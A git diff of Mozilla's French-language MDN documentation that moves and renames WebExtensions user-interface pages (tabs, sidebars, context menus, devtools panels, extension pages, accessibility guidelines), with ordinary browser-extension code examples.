- "homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/apply-css",
-
- "background": {
-
-    "scripts": ["background.js"]
- },
-
- "page_action": {
-
-    "default_icon": "icons/off.svg",
-    "browser_style": true
- },
-
- "permissions": [
-    "activeTab",
-    "tabs"
- ]
-
-}
-
- -

Vous noterez que la permission "tabs" est ajoutée en plus de "activeTab". Cette permission supplémentaire est nécessaire pour permettre au script de l'extension d'accéder à l'URL de l'onglet, dont nous verrons l'importance dans un instant.

- -

Les autres caractéristiques principales du fichier manifeste sont la définition de:

- -
    -
  • un script d'arrière-plan, qui commence à s'exécuter dès que l'extension est chargée.
    • -
  • une “action de page”, qui définit une icône à ajouter à la barre d'adresse du navigateur.
    • -
- -

background.js

- -

Au démarrage, background.js définit un certain nombre de constantes à utiliser dans l'extension qui définissent le CSS à appliquer, des titres pour les “actions de page”, et une liste de protocoles dans lesquels l'extension fonctionnera :

- -
const CSS = "body { border: 20px solid red; }";
-const TITLE_APPLY = "Apply CSS";
-const TITLE_REMOVE = "Remove CSS";
-const APPLICABLE_PROTOCOLS = ["http:", "https:"];
-
- -

Lors du premier chargement, l'extension utilise {{WebExtAPIRef("tabs.query")}} pour obtenir une liste de tous les onglets de la fenêtre du navigateur en cours. Il parcourt ensuite les onglets appelant initializePageAction().

- -
var gettingAllTabs = browser.tabs.query({});
-
-gettingAllTabs.then((tabs) => {
- for (let tab of tabs) {
-   initializePageAction(tab);
- }
-});
-
- -

initializePageAction utilise protocolIsApplicable() pour déterminer si l'URL de l'onglet actif est celle à laquelle le CSS peut être appliqué :

- -
function protocolIsApplicable(url) {
- var anchor =  document.createElement('a');
- anchor.href = url;
- return APPLICABLE_PROTOCOLS.includes(anchor.protocol);
-}
-
- -

Ensuite, si l'exemple peut agir sur l'onglet, initializePageAction() définit l'icône  pageAction (barre de navigation) et le titre de l'onglet pour utiliser les versions ‘off’ avant de rendre la pageAction visible :

- -
function initializePageAction(tab) {
-
- if (protocolIsApplicable(tab.url)) {
-   browser.pageAction.setIcon({tabId: tab.id, path: "icons/off.svg"});
-   browser.pageAction.setTitle({tabId: tab.id, title: TITLE_APPLY});
-   browser.pageAction.show(tab.id);
- }
-}
-
- -

Maintenant, un écouteur sur geAction.onClicked attend que l'icône pageAction soit cliqué et appelle toggleCSS quand il l'est.

- -
browser.pageAction.onClicked.addListener(toggleCSS);
- -

toggleCSS() obtient le titre de la pageAction  puis prend l'action décrite :

- -
    -
  • Pour "Appliquer CSS”: - -
      -
    • Basculer l'icône pageAction et le titre dans les versions “supprimer”.
      • -
    • Applique le CSS en utilisant {{WebExtAPIRef("tabs.insertCSS")}}.
      • -
    -
    • -
  • Pour “Supprimer CSS”: -
      -
    • Basculer l'icône pageAction et le titre dans les versions “apply”.
      • -
    • Supprime le CSS en utilisant {{WebExtAPIRef("tabs.removeCSS")}}.
      • -
    -
    • -
- -
function toggleCSS(tab) {
-
-
- function gotTitle(title) {
-
-    if (title === TITLE_APPLY) {
-     browser.pageAction.setIcon({tabId: tab.id, path: "icons/on.svg"});
-     browser.pageAction.setTitle({tabId: tab.id, title: TITLE_REMOVE});
-     browser.tabs.insertCSS({code: CSS});
-    } else {
-     browser.pageAction.setIcon({tabId: tab.id, path: "icons/off.svg"});
-     browser.pageAction.setTitle({tabId: tab.id, title: TITLE_APPLY});
-     browser.tabs.removeCSS({code: CSS});
-    }
- }
-
- var gettingTitle = browser.pageAction.getTitle({tabId: tab.id});
-
- gettingTitle.then(gotTitle);
-}
-
- -

Enfin, pour s'assurer que pageAction est valide après chaque mise à jour de l'onglet, un écouteur sur {{WebExtAPIRef("tabs.onUpdated")}} appelle  initializePageAction() chaque fois que l'onglet est mis à jour pour vérifier que l'onglet utilise toujours un protocole auquel le CSS peut être appliqué.

- -
browser.tabs.onUpdated.addListener((id, changeInfo, tab) => {
-
- initializePageAction(tab);
-});
-
- -

Quelques autres capacités intéressantes

- -

Il existe deux autres fonctionnalités de l'API Tabs qui ne rentrent pas dans l'une des sections précédentes :

- -
    -
  • capturez le contenu de l'onglet visible avec {{WebExtAPIRef("tabs.captureVisibleTab")}}.
    • -
  • détecter la langue principale du contenu dans un onglet en utilisant  {{WebExtAPIRef("tabs.detectLanguage")}}, que vous pourriez utiliser, par exemple, pour faire correspondre la langue de l'interface utilisateur de votre extension avec celle de la page dans laquelle elle s'exécute.
    • -
- -

Apprendre encore plus

- -

Si vous voulez en savoir plus sur l'API Tabs, consultez le :

- - diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/barres_laterales/index.html b/files/fr/mozilla/add-ons/webextensions/user_interface/barres_laterales/index.html deleted file mode 100644 index 5d9e2cab05..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/user_interface/barres_laterales/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Barres laterales -slug: Mozilla/Add-ons/WebExtensions/user_interface/barres_laterales -tags: - - WebExtensions - - barre latérale -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Sidebars ---- -
{{AddonSidebar}}
- -
-

Une barre latérale est un volet qui s'affiche à gauche de la fenêtre du navigateur, à côté de la page Web. Cette page décrit les barres latérales, leur spécification, leur conception et des exemples d'utilisation.

- -

Le navigateur fournit une interface utilisateur (UI) qui permet à l'utilisateur de voir les barres latéraux actuellement disponibles et de sélectionner une barre latérale à afficher. Par exemple, Firefox a un menu "Affichage > Barre latérale". Une seule barre latérale peut être affichée à la fois, et cette barre latérale sera affichée pour tous les onglets et toutes les fenêtres du navigateur.

-Le navigateur peut inclure un certain nombre de barrières intégrées. Par exemple, Firefox inclut une barre latérale pour interagir avec les favoris: - -

En utilisant la clé sidebar_action du manifest.json, une extension peut ajouter sa propre barre latérale au navigateur. Il sera répertorié à côté des barrières intégrées, et l'utilisateur pourra l'ouvrir en utilisant le même mécanisme que pour les barres intégrés.

- -

Comme un popup d'action du navigateur, le contenu de la barre latérale est spécifié comme un document HTML. Lorsque l'utilisateur ouvre la barre latérale, son document de la barre latérale est chargé dans chaque fenêtre ouverte du navigateur. Chaque fenêtre possède sa propre instance du document. Lorsque de nouvelles fenêtres sont ouvertes, elles obtiennent également leurs propres documents de barre latérale.

- -

Un document pour un onglet particulier peut être défini en utilisant la fonction {{WebExtAPIRef("sidebarAction.setPanel()")}}. Une barre latérale peut comprendre quelle fenêtre elle appartient à l'utilisation de l'API  {{WebExtAPIRef("windows.getCurrent()")}} :

- -
// sidebar.js
-browser.windows.getCurrent({populate: true}).then((windowInfo) => {
-  myWindowId = windowInfo.id;
-});
- -

Ceci est utile si une barre latérale veut afficher différents contenus pour différentes fenêtres. Par exemple, regardez l'exemple "annotate-page".

- -

Les documents de la barre latérale ont accès au même priviléges que les API JavaScript d'arrière-plan et les scripts contextuels. Ils peuvent accéder directement à la page de fond en utilisant {{WebExtAPIRef("runtime.getBackgroundPage()")}}, et peuvent interagir avec des scripts de contenu ou des applications natives à l'aide d'API de messagerie comme {{WebExtAPIRef("tabs.sendMessage()")}} et  {{WebExtAPIRef("runtime.sendNativeMessage()")}}.

- -

Les documents de la barre latérale sont déchargés lorsque leur fenêtre de navigateur est fermée ou lorsque l'utilisateur ferme la barre latérale. Cela signifie que, contrairement aux pages de fond, les documents de la barre latérale ne restent pas chargés tout le temps, mais contrairement aux popups d'action du navigateur, ils restent chargés pendant que l'utilisateur interagit avec les pages Web.

- -

Lorsqu'une extension est installée comme une barre latérale, sa barre latérale s'ouvrira automatiquement. Ceci est destiné à aider l'utilisateur à comprendre que l'extension comprend une barre latérale. Notez qu'il n'est pas possible pour les add-ons d'ouvrir les barres latérales de façon programmée: les barrières latérales ne peuvent être ouvertes que par l'utilisateur.

- -

Spécification des barres latérales

- -

Pour spécifier une barre latérale, définissez le document par défaut avec la clé du manifest.json  sidebar_action, à côté d'un titre et d'une icône par défaut :

- -
"sidebar_action": {
-  "default_title": "My sidebar",
-  "default_panel": "sidebar.html",
-  "default_icon": "sidebar_icon.png"
-}
- -

Le titre, le panneau et l'icône peuvent être modifiés par programme en utilisant l'API {{WebExtAPIRef ("sidebarAction")}}.

- -

Le titre et l'icône sont affichés à l'utilisateur dans une interface utilisateur fournie par le navigateur pour lister les barres latérales, telles que "Affichage > Barre latérale" dans le menu Firefox.

- -

Concept de la barre latérale

- -

Pour plus de détails sur la façon de concevoir la page web d'une barre latérale pour qu'elle corresponde au style de Firefox, voir la documentation du Système de conception Photon.

- -

Exemple

- -

Le dépôt webextensions-examples sur GitHub contient plusieurs exemples de WebExtensions qu utilise une barre latérale:

- - -
diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.html b/files/fr/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.html new file mode 100644 index 0000000000..b2cf42a214 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.html @@ -0,0 +1,59 @@ +--- +title: Elements du menu contextuel +slug: Mozilla/Add-ons/WebExtensions/user_interface/elements_menu_contextuel +tags: + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items +--- +
{{AddonSidebar}}
+ +
+

Cette option d'interface utilisateur ajoute un ou plusieurs éléments à un menu contextuel du navigateur. Il s'agit du menu contextuel disponible lorsqu'un utilisateur clique avec le bouton droit de la souris sur une page Web. Les onglets peuvent aussi avoir des menus contextuels, disponibles via l' API browser.menus.

+ +

Example of content menu items added by a WebExtension, from the context-menu-demo example

+ +

Vous utiliseriez cette option pour exposer les fonctions qui sont pertinentes à des contextes de navigateur ou de page Web spécifiques. Par exemple, vous pouvez afficher des fonctions pour ouvrir un éditeur graphique lorsque l'utilisateur clique sur une image ou offrir une fonction pour enregistrer le contenu d'une page lorsqu'une partie de celle-ci est sélectionnée. Vous pouvez ajouter des éléments de menu simples, des cases à cocher, des groupes de boutons radio et des séparateurs aux menus. Une fois qu'un élément de menu contextuel a été ajouté à l'aide de {{WebExtAPIRef("contextMenus.create")}}, il est affiché dans tous les onglets du navigateur, mais vous pouvez le masquer en le supprimant avec {{WebExtAPIRef("contextMenus.remove")}}.

+ +

La liste complète des contextes pris en charge est disponible sur {{WebExtAPIRef("menus.ContextType")}} et inclut les contextes en dehors d'une page Web, tels que les signets dans l'interface du navigateur. Par exemple, l'extension "Open bookmark in Container Tab" ajoute un élément de menu qui permet à l'utilisateur d'ouvrir une URL de signet dans un nouvel onglet de conteneur :

+ +

+ +
+

Spécification des éléments du menu contextuel

+ +

Vous gérez les éléments du menu contextuel par programmation, en utilisant l'API {{WebExtAPIRef("contextMenus")}}. Cependant, vous devez demander la permission contextMenus dans votre manifest.json pour pouvoir profiter de l'avantage de l'API.

+ +
"permissions": ["contextMenus"]
+Vous pouvez ensuite ajouter (mettre à jour ou supprimer) les éléments du menu contextuel dans votre script de fond de l'extension. Pour créer un élément de menu, vous spécifiez un ID, son titre et les menus contextuels sur lesquels il doit apparaître: + +
browser.contextMenus.create({
+  id: "log-selection",
+  title: browser.i18n.getMessage("contextMenuItemSelectionLogger"),
+  contexts: ["selection"]
+}, onCreated);
+ +

Votre extension attend les clics sur les éléments du menu. L'information passée sur l'élément a cliqué, le contexte où le clic s'est produit, et les détails de l'onglet où le clic a eu lieu, peuvent ensuite être utilisés pour appeler les fonctionnalités de l'extension appropriées.

+ +
browser.contextMenus.onClicked.addListener(function(info, tab) {
+  switch (info.menuItemId) {
+    case "log-selection":
+      console.log(info.selectionText);
+      break;
+    ...
+  }
+})
+ +

Icônes

+ +

Pour plus de détails sur la création d'icônes à utiliser avec votre menu contextuel, voir  Iconography dans la documentation du Systeme de conception de Photon.

+ +

Exemples

+ +

Le depot webextensions-examples sur GitHub contient plusieurs exemples de WebExtensions qui utilise les élements du menu contextuel :

+ +
    +
  • menu-demo ajoute différents éléments au menu contextuel.
    • +
  • context-menu-copy-link-with-types ajoute un élément de menu contextuel aux liens qui copient l'URL vers le presse-papiers, comme un texte brut et HTML enrichi.
    • +
+
+
diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.html b/files/fr/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.html new file mode 100644 index 0000000000..e487250175 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.html @@ -0,0 +1,74 @@ +--- +title: panneaux devtools +slug: Mozilla/Add-ons/WebExtensions/user_interface/panneaux_devtools +tags: + - Débutant + - Guide + - WebExtensions + - interface utilisateur +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels +--- +
{{AddonSidebar}}
+ +
+

Cette fonctionnalité deviendra disponible dans Firefox 54.

+
+ +

Lorsqu'une extension fournit des outils utiles aux développeurs, il est possible d'ajouter une interface utilisateur pour les outils de développement du navigateur en tant que nouveau panneau.

+ +

Simple example showing the addition of "My panel" to the Developer Tools tabs.

+ +

Spécification d'un panneau d'outils de développement

+ +

Un panneau d'outils de développement est ajouté à l'aide de l'API devtools.panels, qui, à son tour, doit être exécutée à partir d'une page spéciale devtools.

+ +

Ajoutez la page devtools en incluant la clé devtools_page dans l'extension manifest.json et fournissez l'emplacement du fichier de la page HTML dans l'extension :

+ +
"devtools_page": "devtools-page.html"
+ +

Dans la page des devtools, appelez un script qui ajoutera un panneau dans devtools:

+ +
<body>
+  <script src="devtools.js"></script>
+</body>
+ +

Dans le script, créez un panneau devtools en spécifiant le titre, l'icône et le fichier HTML du panneau qui fournit le contenu du panneau:

+ +
function handleShown() {
+  console.log("panel is being shown");
+}
+
+function handleHidden() {
+  console.log("panel is being hidden");
+}
+
+browser.devtools.panels.create(
+  "My Panel",           // title
+  "icons/star.png",           // icon
+  "devtools/panel/panel.html"          // content
+).then((newPanel) => {
+  newPanel.onShown.addListener(handleShown);
+  newPanel.onHidden.addListener(handleHidden);
+});
+ +

L'extension peut maintenant exécuter un code dans la fenêtre inspectée à l'aide de devtools.inspectedWindow.eval() ou en injectant un script de contenu via le script en arrière en passant un message. Vous pouvez trouver plus de détails sur la façon de procéder dans l'Extension des outils de développement.

+ +

Conception du panneau de développement

+ +

Pour plus de détails sur la façon de concevoir la page Web de votre panneau de développeurs pour qu'elle corresponde au style de Firefox, consultez la documentation Photon Design System.

+ +

Icônes

+ +

Pour plus de détails sur la création d'icônes à utiliser avec votre panneau d'outils de développement, voir Iconographie dans la documentation du Photon Design System.

+ + + +

Exemples

+ +

Le depot webextensions-examples sur GitHub contient plusieurs exemples de WebExtensions qui utilisent les panneaux devtools:

+ + diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/elements_menu_contextuel/index.html b/files/fr/mozilla/add-ons/webextensions/user_interface/elements_menu_contextuel/index.html deleted file mode 100644 index b2cf42a214..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/user_interface/elements_menu_contextuel/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Elements du menu contextuel -slug: Mozilla/Add-ons/WebExtensions/user_interface/elements_menu_contextuel -tags: - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items ---- -
{{AddonSidebar}}
- -
-

Cette option d'interface utilisateur ajoute un ou plusieurs éléments à un menu contextuel du navigateur. Il s'agit du menu contextuel disponible lorsqu'un utilisateur clique avec le bouton droit de la souris sur une page Web. Les onglets peuvent aussi avoir des menus contextuels, disponibles via l' API browser.menus.

- -

Example of content menu items added by a WebExtension, from the context-menu-demo example

- -

Vous utiliseriez cette option pour exposer les fonctions qui sont pertinentes à des contextes de navigateur ou de page Web spécifiques. Par exemple, vous pouvez afficher des fonctions pour ouvrir un éditeur graphique lorsque l'utilisateur clique sur une image ou offrir une fonction pour enregistrer le contenu d'une page lorsqu'une partie de celle-ci est sélectionnée. Vous pouvez ajouter des éléments de menu simples, des cases à cocher, des groupes de boutons radio et des séparateurs aux menus. Une fois qu'un élément de menu contextuel a été ajouté à l'aide de {{WebExtAPIRef("contextMenus.create")}}, il est affiché dans tous les onglets du navigateur, mais vous pouvez le masquer en le supprimant avec {{WebExtAPIRef("contextMenus.remove")}}.

- -

La liste complète des contextes pris en charge est disponible sur {{WebExtAPIRef("menus.ContextType")}} et inclut les contextes en dehors d'une page Web, tels que les signets dans l'interface du navigateur. Par exemple, l'extension "Open bookmark in Container Tab" ajoute un élément de menu qui permet à l'utilisateur d'ouvrir une URL de signet dans un nouvel onglet de conteneur :

- -

- -
-

Spécification des éléments du menu contextuel

- -

Vous gérez les éléments du menu contextuel par programmation, en utilisant l'API {{WebExtAPIRef("contextMenus")}}. Cependant, vous devez demander la permission contextMenus dans votre manifest.json pour pouvoir profiter de l'avantage de l'API.

- -
"permissions": ["contextMenus"]
-Vous pouvez ensuite ajouter (mettre à jour ou supprimer) les éléments du menu contextuel dans votre script de fond de l'extension. Pour créer un élément de menu, vous spécifiez un ID, son titre et les menus contextuels sur lesquels il doit apparaître: - -
browser.contextMenus.create({
-  id: "log-selection",
-  title: browser.i18n.getMessage("contextMenuItemSelectionLogger"),
-  contexts: ["selection"]
-}, onCreated);
- -

Votre extension attend les clics sur les éléments du menu. L'information passée sur l'élément a cliqué, le contexte où le clic s'est produit, et les détails de l'onglet où le clic a eu lieu, peuvent ensuite être utilisés pour appeler les fonctionnalités de l'extension appropriées.

- -
browser.contextMenus.onClicked.addListener(function(info, tab) {
-  switch (info.menuItemId) {
-    case "log-selection":
-      console.log(info.selectionText);
-      break;
-    ...
-  }
-})
- -

Icônes

- -

Pour plus de détails sur la création d'icônes à utiliser avec votre menu contextuel, voir  Iconography dans la documentation du Systeme de conception de Photon.

- -

Exemples

- -

Le depot webextensions-examples sur GitHub contient plusieurs exemples de WebExtensions qui utilise les élements du menu contextuel :

- -
    -
  • menu-demo ajoute différents éléments au menu contextuel.
    • -
  • context-menu-copy-link-with-types ajoute un élément de menu contextuel aux liens qui copient l'URL vers le presse-papiers, comme un texte brut et HTML enrichi.
    • -
-
-
diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/extension_pages/index.html b/files/fr/mozilla/add-ons/webextensions/user_interface/extension_pages/index.html new file mode 100644 index 0000000000..d12b031f08 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/user_interface/extension_pages/index.html @@ -0,0 +1,77 @@ +--- +title: Extension pages +slug: Mozilla/Add-ons/WebExtensions/user_interface/pages_web_incluses +tags: + - Débutant + - User Interface + - WebExtensions + - interface utilisateur +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages +--- +
{{AddonSidebar()}}
+ +

Vous pouvez inclure des pages HTML dans votre extension sous la forme de formulaires, d’aide ou tout autre contenu dont votre extension a besoin.

+ +

Example of a simple bundled page displayed as a detached panel.

+ +

Ces pages ont également accès aux mêmes API JavaScript privilégiées qui sont disponibles pour les scripts d’arrière‐plan de votre extension, mais elles sont dans leur propre onglet, leur propre file d’attente d’événements JavaScript, leurs propres globales etc.

+ +

Pensez à la page d'arrière-plan comme une « page cachée d’extension ».

+ +

Spécification des pages d’extension

+ +

Vous pouvez inclure des fichiers HTML - et les fichiers CSS ou JavaScript associés - dans votre extension. Les fichiers peuvent être inclus à la racine ou organisés dans des sous‐dossiers.***

+ +
/my-extension
+    /manifest.json
+    /my-page.html
+    /my-page.js
+ +

Affichage des pages d’extension

+ +

Il existe deux options pour afficher des pages d'extension :  {{WebExtAPIRef("windows.create()")}} et {{WebExtAPIRef("tabs.create()")}}.

+ +

À l’aide de windows.create(), vous pouvez ouvrir une page HTML intégrée dans un panneau détaché (une fenêtre sans l’interface utilisateur de la barre d’la barre de signet et similaire) pour créer une expérience utilisateur semblable à une boîte de dialogue :

+ +
var createData = {
+  type: "detached_panel",
+  url: "panel.html",
+  width: 250,
+  height: 100
+};
+var creating = browser.windows.create(createData);
+ +

Lorsque la fenêtre n'est plus nécessaire, elle peut être fermée par programme.

+ +

Par exemple, après que l’utilisateur a cliqué sur un bouton, en passant l’ID de la fenêtre actuelle à {{WebExtAPIRef("windows.remove()")}} :

+ +
document.getElementById("closeme").addEventListener("click", function(){
+  let winId = browser.windows.WINDOW_ID_CURRENT;
+  let removing = browser.windows.remove(winId);
+});
+ +

Pages d’extension et historique

+ +

Par défaut, les pages que vous ouvrez de cette manière seront stockées dans l’historique de l’utilisateur, comme les pages Web normales. Si vous ne voulez pas avoir ce comportement, utilisez {{WebExtAPIRef("history.deleteUrl()")}} pour supprimer l'enregistrement du navigateur :

+ +
function onVisited(historyItem) {
+  if (historyItem.url == browser.extension.getURL(myPage)) {
+    browser.history.deleteUrl({url: historyItem.url});
+  }
+}
+
+browser.history.onVisited.addListener(onVisited);
+ +

Pour utiliser l’API historique, vous devez demander la permission « history » dans votre fichier manifest.json.

+ +

Conception des pages Web

+ +

Pour plus de détails sur la façon de concevoir votre page Web pour correspondre au style de Firefox, voir la documentation sur le système de conception Photon et les styles de navigateur.

+ +

Exemples

+ +

Le dépôt webextensions-examples sur GitHub contient plusieurs exemples de WebExtensions qui utilise une action de navigateur :

+ + diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/lignes_directrices_en_matiere_accessibilite/index.html b/files/fr/mozilla/add-ons/webextensions/user_interface/lignes_directrices_en_matiere_accessibilite/index.html deleted file mode 100644 index e974f0871b..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/user_interface/lignes_directrices_en_matiere_accessibilite/index.html +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: Lignes directrices en matière d'accessibilité -slug: >- - Mozilla/Add-ons/WebExtensions/user_interface/lignes_directrices_en_matiere_accessibilite -tags: - - Développement - - Extensions - - UI - - UX - - WebExtensions - - interface utilisateur -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Accessibility_guidelines ---- -

{{AddonSidebar()}}

- -

En ce qui concerne l'accessibilité, les extensions devraient suivre les mêmes lignes directrices que les sites Web. Cependant, les extensions ont des caractéristiques uniques qui méritent d'être prises en considération lors de la conception pour l'accessibilité. Voici une ventilation des fonctions d'extension et comment elles devraient être utilisées pour rendre une extension accessible.

- -

Vous trouverez plus d'information sur la conception et l'accessibilité dans la section Photon Design System et Accessibilité et Mozilla section de MDN.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Fonction d'interface utilisateur Lignes directrices
-

Raccourcis clavier  (commands)

- 		-

Les raccourcis clavier permettent d'activer facilement les fonctions d'extension.

- -

Pour améliorer l'accessibilité, ajoutez des raccourcis clavier pour :

- -
    -
  • éléments de l'interface utilisateur de l'extension, tels que les boutons de la barre d'outils et de la barre d'adresse.
    • -
  • toutes les fonctionnalités d'une extension, cependant, lorsque cela n'est pas pratique, fournissent des raccourcis pour les fonctionnalités d'extension couramment utilisées.  
    • -
- -
-

Les utilisateurs peuvent modifier les raccourcis clavier d'une extension en fonction de leurs besoins. Cependant, les utilisateurs ne peuvent pas ajouter de raccourcis, c'est pourquoi il est préférable d'en ajouter autant que possible.

-
-
-

Bouton de la barre d'outils (action du navigateur)

- 		-

Pour tenir compte du thème actif, fournissez des icônes de boutons de la barre d'outils pour les thèmes avec du texte clair et foncé.

- -

Suivez les directives du Photon Design System sur l'Iconographie. Utilisez différentes images pour transmettre l'état, par exemple basculé ou actif. N'utilisez pas d'icônes colorées ou de changements de couleur pour indiquer les changements d'état, car ils peuvent ne pas être visibles pour tous les utilisateurs.

- -

Incluez toujours un titre de texte pour que les détails des boutons puissent être lus par un lecteur d'écran. Le titre du bouton doit être mis à jour pour refléter :

- -
    -
  • l'état de l'extension.
    • -
  • le contenu des badges texte affichés sur le bouton.
    • -
- -

Ajoutez un raccourci à l'action du bouton, en utilisant l'option spéciale de raccourci spécial _execute_browser_action.

-
-

Bouton de la barre d'outils avec une fenêtre contextuelle

- 		-

Le balisage dans la fenêtre contextuelle doit suivre les lignes directrices standard d'accessibilité au web.

-
-

Bouton de la barre d'adresse (action page)

- 		-

Les mêmes directives que les boutons de la barre d'outils doivent être suivies.

- -

Ajoutez un raccourci à l'action du bouton, en utilisant l'option de raccourci  _execute_page_action.

-
-

Bouton de la bare d'adresse avec un popup

- 		-

Le balisage dans la fenêtre contextuelle devrait suivre les lignes directrices standard d'accessibilité du web.

-
-

Elément du menu contextuel

- 		-

Les éléments de menu contextuel offrent aux utilisateurs un moyen accessible de découvrir les fonctions d'extension associées aux éléments d'une page Web. Par conséquent, dans la mesure du possible, ajoutez des fonctions d'extension à leurs menus contextuels pertinents.

-
-

Barre latérale

- 		-

Le balisage dans la barre latérale doit être conforme aux lignes directrices standard d'accessibilité du web.

- -

Ajoutez un raccourci clavier pour ouvrir une barre latérale, en utilisant l'option de raccourci spécial _execute_sidebar_action.

-
-

Options page

- 		-

Le balisage de la page des options doit suivre les lignes directrices standard d'accessibilité du Web.

-
-

Extension page

- 		-

Le balisage de la page d'extension doit suivre les lignes directrices standard d'accessibilité du Web.

-
-

Notification

- 		-

Fournir des notifications pour les événements qui se produisent en arrière-plan ou qui ne sont pas autrement notifiés dans l'interface utilisateur. Soyez économe en notifications, mais veillez à ne pas les minimiser au détriment de l'accessibilité.

-
-

Suggestion de la barre d'adresse

- 		-

Ajoutez des suggestions selon le guide, il n'y a pas d'autres considérations d'accessibilité pour les extensions.

-
-

Panneau d'outils de développement

- 		-

Le balisage dans la barre latérale doit être conforme aux conforme aux directives d'accessibilité du Web standard.

- -

Il est recommandé d'offrir un raccourci clavier pour ouvrir un panneau devtools.

-
diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/pages_web_incluses/index.html b/files/fr/mozilla/add-ons/webextensions/user_interface/pages_web_incluses/index.html deleted file mode 100644 index d12b031f08..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/user_interface/pages_web_incluses/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Extension pages -slug: Mozilla/Add-ons/WebExtensions/user_interface/pages_web_incluses -tags: - - Débutant - - User Interface - - WebExtensions - - interface utilisateur -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages ---- -
{{AddonSidebar()}}
- -

Vous pouvez inclure des pages HTML dans votre extension sous la forme de formulaires, d’aide ou tout autre contenu dont votre extension a besoin.

- -

Example of a simple bundled page displayed as a detached panel.

- -

Ces pages ont également accès aux mêmes API JavaScript privilégiées qui sont disponibles pour les scripts d’arrière‐plan de votre extension, mais elles sont dans leur propre onglet, leur propre file d’attente d’événements JavaScript, leurs propres globales etc.

- -

Pensez à la page d'arrière-plan comme une « page cachée d’extension ».

- -

Spécification des pages d’extension

- -

Vous pouvez inclure des fichiers HTML - et les fichiers CSS ou JavaScript associés - dans votre extension. Les fichiers peuvent être inclus à la racine ou organisés dans des sous‐dossiers.***

- -
/my-extension
-    /manifest.json
-    /my-page.html
-    /my-page.js
- -

Affichage des pages d’extension

- -

Il existe deux options pour afficher des pages d'extension :  {{WebExtAPIRef("windows.create()")}} et {{WebExtAPIRef("tabs.create()")}}.

- -

À l’aide de windows.create(), vous pouvez ouvrir une page HTML intégrée dans un panneau détaché (une fenêtre sans l’interface utilisateur de la barre d’la barre de signet et similaire) pour créer une expérience utilisateur semblable à une boîte de dialogue :

- -
var createData = {
-  type: "detached_panel",
-  url: "panel.html",
-  width: 250,
-  height: 100
-};
-var creating = browser.windows.create(createData);
- -

Lorsque la fenêtre n'est plus nécessaire, elle peut être fermée par programme.

- -

Par exemple, après que l’utilisateur a cliqué sur un bouton, en passant l’ID de la fenêtre actuelle à {{WebExtAPIRef("windows.remove()")}} :

- -
document.getElementById("closeme").addEventListener("click", function(){
-  let winId = browser.windows.WINDOW_ID_CURRENT;
-  let removing = browser.windows.remove(winId);
-});
- -

Pages d’extension et historique

- -

Par défaut, les pages que vous ouvrez de cette manière seront stockées dans l’historique de l’utilisateur, comme les pages Web normales. Si vous ne voulez pas avoir ce comportement, utilisez {{WebExtAPIRef("history.deleteUrl()")}} pour supprimer l'enregistrement du navigateur :

- -
function onVisited(historyItem) {
-  if (historyItem.url == browser.extension.getURL(myPage)) {
-    browser.history.deleteUrl({url: historyItem.url});
-  }
-}
-
-browser.history.onVisited.addListener(onVisited);
- -

Pour utiliser l’API historique, vous devez demander la permission « history » dans votre fichier manifest.json.

- -

Conception des pages Web

- -

Pour plus de détails sur la façon de concevoir votre page Web pour correspondre au style de Firefox, voir la documentation sur le système de conception Photon et les styles de navigateur.

- -

Exemples

- -

Le dépôt webextensions-examples sur GitHub contient plusieurs exemples de WebExtensions qui utilise une action de navigateur :

- - diff --git a/files/fr/mozilla/add-ons/webextensions/user_interface/panneaux_devtools/index.html b/files/fr/mozilla/add-ons/webextensions/user_interface/panneaux_devtools/index.html deleted file mode 100644 index e487250175..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/user_interface/panneaux_devtools/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: panneaux devtools -slug: Mozilla/Add-ons/WebExtensions/user_interface/panneaux_devtools -tags: - - Débutant - - Guide - - WebExtensions - - interface utilisateur -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels ---- -
{{AddonSidebar}}
- -
-

Cette fonctionnalité deviendra disponible dans Firefox 54.

-
- -

Lorsqu'une extension fournit des outils utiles aux développeurs, il est possible d'ajouter une interface utilisateur pour les outils de développement du navigateur en tant que nouveau panneau.

- -

Simple example showing the addition of "My panel" to the Developer Tools tabs.

- -

Spécification d'un panneau d'outils de développement

- -

Un panneau d'outils de développement est ajouté à l'aide de l'API devtools.panels, qui, à son tour, doit être exécutée à partir d'une page spéciale devtools.

- -

Ajoutez la page devtools en incluant la clé devtools_page dans l'extension manifest.json et fournissez l'emplacement du fichier de la page HTML dans l'extension :

- -
"devtools_page": "devtools-page.html"
- -

Dans la page des devtools, appelez un script qui ajoutera un panneau dans devtools:

- -
<body>
-  <script src="devtools.js"></script>
-</body>
- -

